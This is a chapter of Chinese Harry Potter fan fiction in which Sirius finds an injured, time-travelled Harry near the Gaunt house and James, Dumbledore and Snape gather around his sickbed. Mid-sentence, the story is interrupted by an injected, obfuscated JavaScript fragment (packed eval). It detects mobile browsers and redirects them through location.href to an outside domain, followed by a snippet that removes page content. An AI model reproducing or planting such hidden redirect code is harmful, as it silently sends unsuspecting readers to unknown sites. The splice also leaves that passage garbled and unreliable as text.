“你还在发烧,”小天狼星的声音稍微放缓,但担忧并未减少,“我这里有些治愈药剂,你得喝下去。喝完再睡一会儿。” 哈利感觉自己被人小心地扶起头部,一个冰凉的瓶口抵在了他的唇边。他没力气多想,只是顺从地张开嘴,艰难地吞咽着那带着些微苦涩味道的液体。药剂滑入喉咙,带来一丝清凉,稍稍缓解了体内那股不正常的灼烧感。 几乎在瓶口离开他嘴唇的同时,黑暗再次袭来,将他重新拖入了沉沉的睡眠之中。 —————— 小天狼星轻轻将空药剂瓶放在床头柜上,替哈利掖了掖被角。药剂让他的呼吸平稳了许多,但脸上那不正常的潮红和紧蹙的眉头并未完全舒展。 他退开几步,疲惫地倚靠在门框上,视线一直停留在床上那个身影上。已经整整一天一夜了。自从他在小汉格顿那片阴森的树林里找到哈利,将他——还有那个该死的卢修斯·马尔福——带回自己家后,哈利就一直处在高烧和昏迷中。 一阵突如其来的后怕让小天狼星的心脏紧缩了一下。如果昨天不是他在那里……如果让魔法部的其他人,甚至是食死徒的同伙先一步发现了哈利……他不敢再往下想。 小天狼星看着哈利苍白的脸,无声地叹了口气——他不该是这样受苦的。他才二十多岁,他回到这个过去,就应该过着平静简单的教书日子,而不是病恹恹地躺在这儿。 他闭上眼,疲惫地抹了把脸,试图驱散脑中的混乱。这一切到底是怎么发生的? 记忆拉回到一天多以前。他和傲罗搭档金斯莱·沙克尔博特刚刚结束在北威尔士一桩涉及非法魔法物品交易的任务,正准备返回伦敦。傲罗司的内部通讯频道传来一条紧急备注:小汉格顿村一位登记在册的哑炮——这本身就够稀奇了——报告说村外冈特老宅附近有强烈的黑魔法活动迹象,而且村里绿龙酒馆的老板在接待了两位外乡人后,行为举止变得极其古怪,说话颠三倒四。 “冈特”这个姓氏让小天狼星心里一动。他当然知道这个古老而声名狼藉的纯血家族,斯莱特林的直系后裔,只是没想到他们居然还有一座老宅藏在这种偏僻的麻瓜村落附近。酒馆老板疑似被施了遗忘咒的情况更让他心生警惕。结合邓布利多之前在凤凰社的警告——伏地魔可能在搜寻某些特定地点或物品……如果真有食死徒在那里活动,他绝不能放过。 小天狼星让金斯莱先带卷宗回总部,自己则决定赶往小汉格顿。因为距离不远,他直接幻影移形到小汉格顿村外,找到了那家名叫绿龙的酒馆。几个当地人证实了哑炮的部分说法,而那个叫阿尔伯特·威尔金斯的老板,在被问及那两个陌生人时,说话含糊不清,翻来覆去说着同一个词,对时间顺序的记忆也一塌糊涂。小天狼星心头一沉,这分明是遗忘咒的痕迹,处理得如此随意,就好像施咒者根本不在乎暴露。 问清冈特老宅的方向后,小天狼星快步离开酒馆,踏上那条几乎被杂草吞没的小径。越是靠近那片区域,空气中那股黑魔法的腐朽气息就越是浓重,简直令人窒息。毫无疑问,这里不久前绝对发生过涉及强大黑魔法的爆发。 就在他靠近那栋被荆棘淹没的破旧老宅时,他听到了动静——有什么东西在移动,速度不快,还伴随着树枝断裂的声响和压抑的喘息声。是有人在逃跑,听起来还受了伤。 几乎是本能反应,小天狼星追了上去,身影在林间飞速穿梭。他很快就锁定了那个踉踉跄跄的黑影。 “食死徒!”他厉声喝道,同时一道缴械咒射出。 对方勉强避开攻击,但动作迟缓无力。他毫不停顿,一道束缚咒将那人捆了个结实,并迅速上前压制住倒在地上的人,魔杖用力抵住对方喉咙,准备先看看是哪个伏地魔的走狗。 月光从树梢漏下,照亮了一张瘦削苍白的脸——小巴蒂·克劳奇。 小天狼星的呼吸一滞,脑子里嗡了一声。 小巴蒂·克劳奇?他怎么会在这里?这个疯子不是应该去年就在霍格沃兹被抓住,然后被邓布利多牢牢关起来了吗?正是他的被捕,才让凤凰社确认了伏地魔仍在暗地里行动。难道他逃出来了?这不可能!邓布利多的看守怎么可能—— 无数警报在他脑中响起,但紧跟着,更令人震惊的一幕出现了。他看到“克劳奇”的脸如水面般泛起涟漪,五官在迅速地溶解、重组。 是复方汤剂! 小天狼星屏住呼吸,死死盯着那张正在变化的面孔。是谁?究竟是谁会冒充小克劳奇?是伏地魔玩的什么把戏吗? 然后,那张扭曲的脸逐渐稳定下来,缓缓恢复成它原本的模样。 眼前是一张无比熟悉的脸。凌乱的黑发贴在汗湿的额头上,闪电形伤疤在月光下清晰可见,皮肤惨白,嘴唇干裂。而那双紧闭后又费力睁开的绿眼睛,正因痛苦而黯淡无光。 哈利? 小天狼星只觉得像被石化咒击中,全身僵硬。他紧握魔杖的手不由自主地颤抖,魔杖最终从指间滑落,砸在地上,发出一声清脆的轻响。 哈利的目光与他交汇,认出他后,脸上的惊愕迅速消散,转为一种全然的放松和信任。 紧接着,哈利嘴唇微动,用几乎听不见的气声断断续续地挤出几个词,“卢修斯……在那边……藏……别让……”话未说完,他的头一歪,整个人彻底失去了意识。 小天狼星一愣,迅速蹲下,颤抖的手探向哈利的颈侧,确认那微弱的脉搏仍在跳动,这才松了一口气。他用了好几秒找回自己的呼吸,随后僵硬地站起身,在哈利示意的方向果然找到了同样昏迷不醒的卢修斯·马尔福。 卢修斯·马尔福?哈利假扮成小巴蒂·克劳奇,和卢修斯·马尔福一起出现在冈特老宅附近——难道是在执行伏地魔的任务?随后遭遇了某种可怕的袭击,哈利拼尽全力才逃了出来? 巨大的信息量和无法解释的谜团冲击着小天狼星的大脑,但他知道现在不是追究这些的时候。眼下最重要的事情只有一件——保护哈利。 他不能让任何人发现这件事。绝不能让魔法部知道霍格沃兹的黑魔法防御术教授竟然在假扮食死徒——福吉那个胆小如鼠的家伙绝对不会、也不可能愿意承认伏地魔迟早有一天会回来。他甚至不敢送哈利去圣芒戈,谁知道那里有没有伏地魔的眼线,或者那些治疗师会不会追问什么不该问的问题。 他迅速作出决定,施展漂浮咒带起两人,然后抓住哈利的手臂,用最快的速度幻影移形,离开这片被诅咒笼罩的废墟,回到他位于斯诺多尼亚峡谷边缘的住所。 小天狼星用湿毛巾轻柔地擦拭哈利滚烫的前额,心中沉甸甸的。他检查过哈利的伤势,也用自己有限的治疗魔法处理了哈利身上的外伤,那些伤口并不致命。麻烦的是哈利几乎耗尽的魔力和精神上的巨大创伤——那孩子在高烧昏迷中偶尔会发出含糊的呓语,有时好像是某个名字,有时只是不成调的呜咽。他只能依靠自己储备的那些常规药剂,希望这些能帮助哈利撑过去。 他把主卧让给了哈利,自己则拉过一把扶手椅,就守在床边。这一晚,他几乎没怎么合眼,或者说,只是在椅子上断断续续地打着盹。大部分时间,他都保持着警醒,不时去查看哈利的情况,仔细听着他的呼吸,感受着他额头的温度,生怕错过任何一丝变化。 那些不属于这个时间线的记忆碎片——阿兹卡班的冰冷,逃亡的饥饿,甚至另一个哈利的脸庞——总是不合时宜地在他脑海中闪现,让他几乎迷失方向。可一看到眼前这个因痛苦而虚弱的哈利,所有混乱便骤然退去,只剩下一个无比清晰的念头:保护他。 小天狼星伸出手,小心翼翼地拨开哈利额前被汗水浸湿的黑发,目光落在那道闪电伤疤上。这张脸,继承了詹姆斯的轮廓和莉莉的眼睛,却又独属于哈利自己——一个背负了太多苦难的灵魂。他看着这张年轻却写满疲惫和痛苦的脸,心中涌起一股难以言喻的酸楚和沉重的忧虑。 —————— 一阵轻微的噼啪声从楼下客厅传来——飞路网被启动了。小天狼星一怔,便猜到来人是谁。他之前确实通过猫头鹰给詹姆斯留了言,让他方便的时候过来一趟,有些“非常重要的事情”要当面谈。他没想到詹姆斯直到深夜时分造访。 也好,该来的总要来。 他最后看了一眼床上仍在昏睡的哈利,确保被子盖得严实,然后轻轻带上卧室门,快步走下楼梯。 詹姆斯·波特刚从客厅壁炉里走出来,正拍打着长袍上沾染的炉灰。他看起来也很疲惫,眼下有着淡淡的阴影。 “你总算肯露面了,大脚板?”詹姆斯一见到他就皱眉,“无缘无故请假一天,留言又说得不清不楚,到底怎么回事?有什么事不能在办公室说?” “出了点状况,尖头叉子。”小天狼星尽量让自己的声音听起来平静,“你还好吗?这么晚过来……” “我能有什么事?”詹姆斯没好气地反问,“倒是莉莉不太舒服,我刚安顿好她才过来的。你看起来糟透了,到底是什么事这么急?” 听到莉莉不适,小天狼星担忧地问,“莉莉她要紧吗?” “没什么大事,就是容易累。”詹姆斯摆摆手,显然不想多谈这个,他锐利的目光落在小天狼星身上,“别岔开话题,你把我叫来到底是为了什么?我可不觉得是为了喝杯茶叙旧。” 小天狼星舔了舔有些干涩的嘴唇,看着詹姆斯,开口问道:“我之前留言里拜托你的事……你有带些强效的恢复药剂过来吗?我这里的不太够用。” 詹姆斯愣了一下,从长袍内袋里取出一个用布包好的小包裹,递给他:“你说得急,家里常用的存货不多,莉莉看情况不对就连夜给你配了几瓶。”他的眼神忽然变得警惕起来,“大脚板,你受伤了?还是你惹上什么大麻烦了?” “不是我。”小天狼星接过那包裹,沉默了片刻,才压低声音说,“跟我上楼。还有,小声点。” 詹姆斯看上去有些疑惑,但他没有再问,只是默默跟着小天狼星走上通往二楼的楼梯。小天狼星能感觉到身后好友身上散发出的越来越重的紧张和困惑。 在主卧室门口,小天狼星停下了脚步。他能听到自己心脏在胸腔里沉重地跳动。他握住门把手,犹豫了一下,然后推开了门。 詹姆斯的目光随着他的动作投向屋内。 下一秒,小天狼星看到他最好的朋友彻底凝固在了原地。 詹姆斯脸上的血色瞬间褪得一干二净,眼睛因震惊而睁大,死死地盯着床上的身影。 他向前踉跄了一步,又硬生生止住,身体绷得像根拉紧的弦。几秒后,他才找回自己的声音,但那声音干涩沙哑,充满了难以置信:“他……他怎么会在这里?他不是应该在霍格沃兹吗?发生什么了?他受伤了?他——”一连串的问题急促地冲口而出,带着掩饰不住的惊骇和恐慌,劈头盖脸地砸向小天狼星。 小天狼星快步上前,抓住了詹姆斯的胳膊。“冷静点,詹姆斯!”他低声急促地说,“听着!他没有生命危险,身上没有致命伤!” 他顿了顿,看着床上因高烧而在梦中也极不安稳的哈利,语气变得沉重起来:“但是……他情况很糟。不是普通的伤,魔力耗尽,像是被什么黑魔法攻击了精神,或者别的什么……我不知道!我找到他的时候他就这样了。” 詹姆斯脸色又白了几分。他张了张嘴,但只发出一个介于呻吟和抽气之间的声音。 小天狼星看着他这副失魂落魄的样子,忍不住用一种复杂难言的语气说:“瞧瞧你,尖头叉子。不是一直说不关你事,只是‘佩弗利尔教授’吗?” 詹姆斯的脸颊抽动了一下,挣开了小天狼星的手,胸口剧烈起伏着,但目光依然钉在哈利身上,无法移开分毫。“告诉我,发生了什么?” 小天狼星叹了口气,简略地讲述了昨天的事——如何在冈特老宅附近发现假扮成小克劳奇、身受重伤的哈利,以及同样昏迷的卢修斯·马尔福。 “……假扮成克劳奇?和马尔福一起?”詹姆斯震惊地转头看向小天狼星,声音都有些变调,“你是说……他在执行卧底任务?就是之前凤凰社会议上说的那个?” 小天狼星点了点头,心头一阵压抑。他当然记得凤凰社重组后初见“佩弗利尔”的情景:那个与詹姆斯惊人相似的年轻人,年纪轻轻却能力出众,又深得邓布利多信任,甚至当众展示了转移黑魔标记这种闻所未闻的魔法,确实令人印象深刻。那时除了钦佩与好奇,更多的还是距离感——那是“别人”自愿选择的危险道路,是邓布利多认可的行动,与他们无关,也无需他们担忧。现在想来,那时置身事外的感觉真是可笑。 小天狼星看着詹姆斯再度转向哈利的侧脸,看着他一直紧绷的神情,他知道,有些东西终究是不一样了。那层刻意维持的距离感,不管詹姆斯自己是否察觉,已经出现一道无法忽视的裂痕。 因为眼前这个伤痕累累的年轻人,再也不是什么疏远的“佩弗利尔教授”了。 他是詹姆斯的儿子。是他的教子。 他们这些大人——他的父亲,他的教父,甚至邓布利多——明明知道他来自未来,知道他可能背负着沉重的秘密,却似乎默认了他冲在最前面,独自面对伏地魔最黑暗的阴谋与最可怕的威胁? 小天狼星看到詹姆斯的身体在微微颤抖,立刻就明白了那不是愤怒,而是一种源自骨髓的恐惧——是失去过一次之后,再也无法承受第二次失去的恐慌。小天狼星认得这种恐惧,因为在他自己心底深处,同样的冰冷也在蔓延。他们会不会像失去小哈利那样,再次失去他? 詹姆斯猛然转过身,背对床铺,用力揉搓着脸,仿佛想抹去脸上所有的表情。他深吸了几口气,试图稳住自己,可开口时,声音依然压抑不住地颤抖:“邓布利多……他知道吗?他从一开始就知道哈利的身份,还让他去做这种事?” 他转过头,目光锐利地看向小天狼星,“大脚板,你告诉邓布利多了吗?” 小天狼星摇了摇头,声音有些沙哑,“还没有。我不知道哈利具体遇到了什么……我得先确保他安全。我怕贸然联系会引来别的麻烦。” 何止是怕引来麻烦。小天狼星看着詹姆斯紧绷的侧脸,将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156426|180577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 更深的疑虑咽了回去。一想到可能要把哈利现在这副样子报告给邓布利多,让他重新回到那个复杂的棋盘上,小天狼星就感到一阵本能的烦躁和抗拒。小天狼星理解对抗伏地魔需要谋划,但他无法接受哈利可能只是其中的一枚棋子,一枚可以被牺牲的棋子。他攥紧拳头。不。现在他只在乎哈利本身,邓布利多的计划见鬼去吧,至少在哈利安全之前是这样。 詹姆斯紧抿着嘴唇,点了点头,似乎理解了小天狼星话语中的谨慎,但眼中的忧虑并未减少。他重新转过身,慢慢走到床边。他低头看着哈利,看着那张在昏睡中也眉头微蹙的脸。 看了许久,他才极其缓慢地伸出手,指尖在那道闪电形伤疤上短暂停留,随即迅速收回,像是被灼伤一般。 詹姆斯一直紧绷着的什么东西,在那一刻似乎完全垮了下来。一种极度的脆弱掠过他的脸庞,快得几乎抓不住,又被他狼狈地掩盖了下去。 “所以你叫我来……”詹姆斯哑着嗓子说,强迫自己看向小天狼星,似乎想重新找回那副公事公办的口吻,“就是为了这个?”他生硬地补充道,“你处理得很好。就让他先在你这里休养吧。” “不全是。”小天狼星朝床上无知觉的哈利看了一眼,“还有另一个‘麻烦’在楼下。跟我来。” 詹姆斯忍不住又望了一眼哈利,然后跟着小天狼星走出房间。两人沉默无言,穿过二楼走廊,下了楼梯,绕过客厅,直奔通往地下室的石阶。小天狼星停在一扇厚重的铁门前,魔杖尖端在门锁上轻轻一点,发出细微的“咔哒”声。 “做好准备,詹姆斯。”小天狼星低声说,推开了门。 房间里光线昏暗,仅有一盏墙上的长明魔法灯洒下微弱的光晕。空气有些潮湿,带着石头的冷气。房间一边靠墙的地板上铺着一张简单的毯子,一个人影蜷缩在上面。他穿着一身黑色长袍,原本精致考究,如今却沾满泥土与草屑,皱巴巴地裹在身体上。 是卢修斯·马尔福。 他醒着。 但当詹姆斯的目光落在他脸上时,他不由自主地停下了脚步,脸上露出难以置信的神情。 这还是卢修斯·马尔福吗? 铂金色的长发不再光滑如丝,而是凌乱地黏在苍白的额头与脸颊上。那张惯常带着傲慢和冷淡面具的脸此刻毫无生气,只有一双灰蓝色的眼睛睁得大大的,却空洞无神,瞳孔涣散,毫无焦点地在虚空中游移,仿佛根本看不见站在门口的他们。他的嘴唇微微开合,不断吐出一些含糊不清的低语。 “……戒指……滑……墙壁……不……主人……德拉科……” 他的身体偶尔会神经质地抽搐一下,手指无意识地在身下的毯子上抓挠着。 小天狼星看到詹姆斯完全愣住了,嘴巴微张,想说什么又发不出声音。他完全理解詹姆斯的震惊,因为他自己初次看到卢修斯这副模样时,也感到了同样的荒谬和刺骨寒意。 就在一周前——没错,仅数日而已——在魔法部那场针对哈利的特别调查会上,卢修斯·马尔福还以霍格沃兹校董的身份,坐在那高高的席位上。他穿着剪裁合体的昂贵长袍,手里把玩着那根镶嵌蛇头的魔杖,姿态优雅从容,言语间充满了不动声色的算计和施压。他甚至在最后关头出人意料地“倒戈”,帮助了哈利一把。那时的他冷静自若,完全掌控着局面。 而现在—— 眼前这个蜷缩在地上,如同一个灵魂被抽走的空壳,和那个在魔法部和校董会之间运筹帷幄的纯血巫师,真的是同一个人吗? “梅林的胡子……”看着眼前的情景,詹姆斯倒吸了一口冷气,“他怎么成了这样?” “我找到他的时候,他还昏迷着。今天醒来后就这样了。”小天狼星沉声道,“和哈利一起,都在冈特老宅附近。哈利至少意识还是清醒的。而他,”他朝卢修斯抬了抬下巴,“似乎被困在了什么里面,出不来了。” 詹姆斯的目光从卢修斯身上移开,看向小天狼星,眼神里充满了后怕,“你是说,他们遇到的陷阱……能把人变成这样?” 小天狼星没有回答,但沉默本身就是一种肯定。 詹姆斯沉默了几秒,消化着这个可怕的事实,然后猛地闭上眼睛,再睁开时,眼神已经恢复了决断。他看了一眼地上那个仍在喃喃自语的卢修斯。 “我来处理他。”詹姆斯的语气异常果断,“必须立刻把他弄走,绝不能让人知道是我们发现的他。我会把他弄晕,丢在马尔福庄园附近——他们自己会找到他。” 小天狼星点了点头。这确实是目前最稳妥的处理方式,既避免惊动魔法部,也能把这个烫手山芋处理掉。 詹姆斯抽出魔杖,正准备上前对仍在胡言乱语的卢修斯施一个昏迷咒—— 突然,一声短促而压抑的痛呼从楼上传来! 那声音虽然不高,却充满了无法掩饰的痛苦,即使隔着楼板和墙壁,也清晰地刺入他们的耳膜! 是哈利! 小天狼星和詹姆斯同时脸色大变,也顾不上卢修斯了,两人以最快的速度冲出地下室,直奔二楼的主卧室。 他们几乎是撞开门,眼前的景象狠狠地撞进了他们的视线—— 哈利仍然陷在昏迷中,一动不动,但他的脸色比刚才更加惨白,眉头死死地拧在一起。冷汗大颗大颗地从他皮肤上渗出,浸湿了枕头和凌乱的黑发。被子滑落到一边,露出了他的左臂。 就在那苍白的前臂上,狰狞的黑魔标记爆发出刺眼的绿光,皮肤下的骷髅和蛇如同活物般扭动起来。更让人心惊的是,在那扭动的图案上,一行文字如同烧红的烙铁般显现出来: 回应。立刻。 看到那燃烧的文字,两人同时倒抽了一口冷气,死死地盯住了那截手臂。黑魔标记——伏地魔的标记!他们都清楚这意味着什么。这是召唤!是那个黑魔头在召唤他的仆人! 伏地魔发现了什么?还是这只是例行的召唤,或者某种测试? 无论是什么原因,哈利这种状态根本无法回应。可不回应伏地魔的召唤,后果会是什么?身份暴露?隔空施加的酷刑?或者更糟? 两人交换了一个眼神,都在对方眼中看到了同样的恐惧和急迫。 “听着,大脚板。”詹姆斯急促地说,“我马上带马尔福走,不能留在这里。你守着哈利,一步也不要离开!锁好门,用上你能想到的所有防御魔法!” 他最后看了一眼哈利,“我去找邓布利多,只有他才知道该怎么应付!” 小天狼星重重地点头,抽出自己的魔杖,眼底燃起近乎凶狠的光芒。 詹姆斯不再多言,转身快步离开了卧室。小天狼星听到他匆匆下楼的声音,大概是去地下室处理卢修斯,之后是霍格沃兹——他要去告知邓布利多。 房间里只剩下他和哈利。哈利手臂上,那标记里灼人的绿光已渐渐隐没,只在皮肤下留下淡淡的余影,但标记本身和周围的皮肤依旧红肿着,像一道丑陋的伤疤。哈利仍时不时地发出痛苦的呻吟,眉头紧锁。 小天狼星走到床边,看着他这副模样,只觉得胸口一阵发疼。他的视线移到哈利露出的手臂,那道黑魔标记像烙印一样刺眼,像条盘踞的蛇,仿佛随时可能吞噬他的生命。他小心翼翼地伸出手,轻轻抚平了哈利额前汗湿的头发。接着,他站起身,开始行动起来。 他抽出魔杖,开始绕着房间快速而无声地布设防御。魔杖尖端划过空气,无声的咒语接连施放——加固咒落在门窗上,层层叠叠的警戒咒覆盖了墙壁和地板,一道防止幻影移形的屏障也悄然成型。做完这一切,确认房间已经处于严密的保护之下后,他拉过一把椅子,紧挨着床沿坐下。 他没有放松,魔杖依旧紧握在手中,耳朵警惕地捕捉着屋外任何一丝微弱的声响。他就那样坐着,安静,专注,像一头蹲伏在暗处、守护着最重要东西的巨大黑犬,警惕而充满戒备。 “我在这儿,哈利。”他对着昏迷中的教子,无比郑重地保证,“谁也别想再动你一根头发。谁也别想。” 89. 峡谷之屋(上) 小天狼星不知把门前的屏障检查了多少遍。每隔一段时间,他就离开椅子,在房间巡视一圈,确认那些精心布置的防护咒依然完好。 哈利的情况还算稳定,只是额头依旧滚烫。自从两个小时前那道狰狞的黑魔标记在他手臂上灼烧起来之后,小天狼星的心就一直悬着,生怕下一秒伏地魔就会出现在房间的某处。 他望向挂钟——凌晨四点半。詹姆斯已经离开近两小时了,应该已经联系上邓布利多。小天狼星走到窗边,盯着外面的夜色。峡谷的轮廓模糊不清,只有风声偶尔掠过屏障。他揉了揉眼睛,强迫自己保持清醒—— 空气中传来一阵轻微的嗡鸣。 小天狼星全身肌肉瞬间绷紧。那是他设置的警报,有人正试图穿过屋外的反幻影移形屏障。 是谁? 他屏住呼吸,身体紧贴着阴影,警惕地望向楼下。会是食死徒吗?还是伏地魔本人?不可能这么快就找到这里吧…… 又一道银光在屋外防护屏障的边缘一闪而过——一头牡鹿的轮廓清晰可辨。正是詹姆斯的守护神形态。 是詹姆斯!小天狼星紧绷的神经松了一半,肩膀微微塌下来。詹姆斯回来了——邓布利多一定也来了。他快步冲出卧室,奔下楼梯,准备迎接他们。 沉重的橡木门被拉开,带着湿气的冷风卷了进来。詹姆斯第一个进来,他看上去精神不济,长袍上还沾着些泥土和露水。邓布利多跟在他身后,神色镇定,但那双透过半月形镜片的蓝眼睛里,惯常的温和光芒消失了,显得格外严肃。 然而,当第三个人影从邓布利多身后走出来时,小天狼星脸上的些微放松消失得无影无踪,震惊和毫不掩饰的敌意随即浮现在他脸上。 西弗勒斯·斯内普。他穿着那身万年不变的黑色长袍,脸色比平时更加苍白,嘴唇紧闭,正用他那双黑沉沉的眼睛冷漠地扫过门厅。 “他来这儿干什么?”小天狼星脱口而出,甚至无意识地上前一步,挡在了通往楼梯的方向,魔杖尖端直指斯内普。 斯内普站定,浑身散发着不耐烦的气息。他的目光越过小天狼星的肩膀,先是望向通往楼上的方向,随后无视了指向自己的魔杖,扯出一个冰冷的假笑:“多么‘温馨’的欢迎仪式,布莱克。如果你能少浪费点时间设置这些华而不实的屏障,多专注于真正的危险,我们就可以免去这次拜访了。” “小天狼星,现在不是说这个的时候。”詹姆斯的声音透着疲惫,伸手按了一下好友紧握魔杖的手臂。 “阿不思?”小天狼星没有理会詹姆斯,视线紧紧锁定邓布利多,带着质问的意味。 “请放下魔杖,小天狼星。你的警惕可以理解。”邓布利多平静地说,“但西弗勒斯今晚来这儿是必要的。事实上,若非他及时察觉异常并通知我,我们可能还不知道哈利身陷险境。” “斯内普?必要?”小天狼星拔高了声调,简直不敢相信自己的耳朵,“阿不思,哈利手臂上的标记没多久前还在发烫!是伏地魔在召唤他!你怎么能保证他——”他抬手指着斯内普,“——不会扭头把这里的一切都告诉他的黑魔头主子?”他几乎是吼出来的,又下意识地看向詹姆斯,期望得到支持。 “小天狼星。”詹姆斯打断了他,脸色并不算好看,“那不是伏地魔召唤的。那标记……是斯内普试图联系他时弄出来的。把你那些防护咒撤了吧,他们需要查看哈利的情况。” 小天狼星完全愣住了,握着魔杖的手僵在半空。“斯内普……联系哈利?用那个标记?” “哈利错过了与西弗勒斯约定的联络时间。”邓布利多解释道,“西弗勒斯等了很久,一直没有消息,担心出事,才冒险用标记联系。没有回应后,他马上来找我了。几乎就在同时,詹姆斯也带着你找到哈利的消息赶到——确实是万幸的巧合。”他耷拉的眼皮透着掩饰不住的疲惫,可那双蓝眼睛里还是流露出一点调侃,“否则,我和西弗勒斯现在恐怕正在小汉格顿那片废墟里瞎转悠呢!” 小天狼星的脑袋嗡嗡作响。不是伏地魔的召唤?这个消息刚让他紧绷的身体略微放松,邓布利多的话又让他重新僵硬。哈利本该联系斯内普?斯内普用那个标记联系哈利?这些话像乱糟糟的毛线球一样在他脑子里滚来滚去,他试图抓住线头,却每次都扑了个空。他张了张嘴,想问点什么,一个音节没挤出来,只能盯着地板上的一道裂缝。 “我们该看看哈利了。”邓布利多话音刚落,斯内普已经一言不发地转身,快步朝着楼梯走去,把其他人都甩在了身后。 但小天狼星更快。一道黑影闪过,他已经抢先一步站定在楼梯的第一级台阶上,侧身面对着跟上来的斯内普。他盯着斯内普,直到邓布利多和詹姆斯也走了过来,才慢慢地收起了魔杖,然后转过身,率先向上走去。 主卧室里光线昏暗。哈利躺在床上,呼吸比先前平稳,只有脸颊上依然透着病态的红晕。 邓布利多来到床边,抽出魔杖,杖尖在哈利上方轻轻划过,银白色光芒轻柔地流动。片刻后,他收回魔杖,神色凝重。“是针对精神的诅咒,强行挣脱的反噬消耗了他几乎所有魔力。需要静养和专门的反诅咒及宁神药剂。”他转向斯内普,“西弗勒斯?” 斯内普上前一步,俯身时动作略显迟缓。他自己的脸色在昏暗的光线下几乎透明,目光仔细地审视着哈利苍白的脸和胸口微弱的起伏。小天狼星站在几步开外,身体微微前倾,手悬停在腰间的魔杖上方,死死地盯着斯内普,不放过他任何细微的动作。 斯内普直起身,从长袍内袋里取出一个小玻璃瓶,里面装着近乎透明的黏稠液体。 “那是什么?”小天狼星上前一步,挡在了斯内普和床之间,“他已经喝过莉莉配置的治疗药剂了!” 斯内普抬眼看向他,眼神冰冷。“布莱克,”他嗤笑一声,语气中充满不屑,“莉莉的魔药水平无可挑剔,但她恐怕无法预料到佩弗利尔面对的是哪种恶咒。普通治疗药剂清除不了深层诅咒的残留。除非你希望他留下永久性精神损伤,就像……”他停顿一下,“某些不幸的傻子一样。” 他手腕一抖,将药瓶准确无误地抛到了小天狼星怀里。“决定权在你。是相信我的专业判断让他尽快恢复,或是继续这场毫无意义的阻挠。” 小天狼星下意识地接住药瓶,想起卢修斯·马尔福空洞的眼神和喃喃自语。他看向詹姆斯,后者直视着他的眼睛,微微点了点头;再看向邓布利多,老巫师安静地站在那里,并没有阻止的意思。小天狼星喉结滚动了一下,还是走到床边,小心翼翼地扶起哈利的头,将那透明的药剂一点点喂了下去。 效果立竿见影。哈利原本紧蹙的眉头舒展开来,脸上痛苦的神色缓和了不少,呼吸变得深沉而平稳。 “让他好好休息。”邓布利多轻声说,“我们去楼下谈。” —————— 起居室的壁炉里燃起温暖的火焰,房间里的气氛可一点也不暖和。小天狼星给邓布利多和詹姆斯倒了茶,而斯内普面前连个杯子都没放,完全当那边没人。后者面无表情地靠在椅背上,对这种幼稚的挑衅视若无睹。 “所以,你把卢修斯丢在了马尔福庄园外面?”小天狼星率先开口问詹姆斯,他需要弄清楚在他守着哈利的时候到底发生了什么。 詹姆斯点头,“在庄园外一条家养小精灵必经的小路上。用了昏迷咒,确保他暂时不会乱跑。等他们发现时,只会以为他是自己回来的,或者遭遇了什么意外,不会联想到我们。”他揉了揉眉心,“然后我直接去了霍格沃兹找阿不思,没想到……斯内普教授也在那里。”他瞥了斯内普一眼,语气平淡,听不出什么情绪。 “确实很巧,”邓布利多接过话头,目光转向斯内普,“西弗勒斯刚刚向我报告无法联系上哈利的情况。我也正觉得奇怪,哈利四天前向我请假时,说的是‘克劳奇’收到了主人的直接命令,需要立刻前往阿尔巴尼亚山区的一个旧据点取回某样物品。他强调是伏地魔的直接命令,需要单独行动,而且应该没什么危险,很快就能返回。但现在看来,事情显然并非如此。”邓布利多看着斯内普毫无血色的脸,“我上次看到你这么焦急,西弗勒斯……是很久以前的事了。” 斯内普的嘴唇动了动,没有回应邓布利多最后那句意有所指的话。 “那么,西弗勒斯,”邓布利多继续温和地追问,但语气中带着一丝不解,“哈利这次为何要特意瞒着我?冈特老宅那里……是有什么他认为我尤其不该知道,或者……不愿我去面对的东西吗?” 斯内普没有立即回答,视线依次掠过詹姆斯和小天狼星,两人的目光都集中在他身上。“校长,”他语气冷硬,“将佩弗利尔此次任务的细节,在非核心行动人员面前讨论,我认为极其不妥。” “不妥?”小天狼星一下子从椅子上弹了起来,怒火又烧了起来,“鼻涕精!楼上躺着的是哈利!他是我的教子!我们凭什么不能知道他经历了什么危险?你以为你是谁,能决定我们有没有资格知道?” “小天狼星!”詹姆斯低喝一声,伸手用力将好友按回椅子上,示意他别冲动,“别在这时候——”他松开手,转向邓布利多,声音不高却异常清晰,“阿不思,我能理解保密的重要性。但楼上那个孩子……”他停顿了一下,眼神短暂地移向天花板,又转回来,直视着邓布利多,“……他是我的儿子。我们必须知道真相,必须知道是什么差点要了他的命。” 斯内普发出一声极轻的嗤笑。小天狼星倏地瞪向斯内普。 “哦?你的‘儿子’?”斯内普冷笑着开口,“波特,你的父爱来得可真是时候。那么请问,两年前,当来自未来的哈利·波特和他的教子一无所有地出现在我家门口——就是那个蜘蛛尾巷,你大概永远不会踏足的地方——请问你在哪里?哦,对了,你那时大概正忙着为你的‘哈利·波特’挑选新学年的课本和飞天扫帚吧?完全不知道另一个‘儿子’正依靠我的庇护生存。若我没记错,几天前在魔法部的调查会上,波特司长还当众声明与佩弗利尔教授无任何血缘关系?如果你不算‘局外人’,那这世上恐怕就没有局外人了。” 詹姆斯的脸瞬间失去了血色,他放在膝盖上的手握成了拳。斯内普的话像一把淬毒的匕首,不仅揭开了他一直试图逃避的伤疤,同时让他意识到在自己缺席时,竟是斯内普帮了那个孩子。小天狼星张口结舌,一个字也说不出来。他只知道哈利和泰迪似乎得到过斯内普的帮助,却从不知道他们曾在斯内普家住过。 “够了!”邓布利多加重了语气,制止了这场即将失控的争吵,“现在不是追究过去的时候。我们面临共同的敌人,需要的是团结。”他转向斯内普,眼神陡然锐利起来,“西弗勒斯,现在情况不同了,詹姆斯和小天狼星有权了解。告诉我,哈利为什么坚持对我隐瞒此行的目的?” 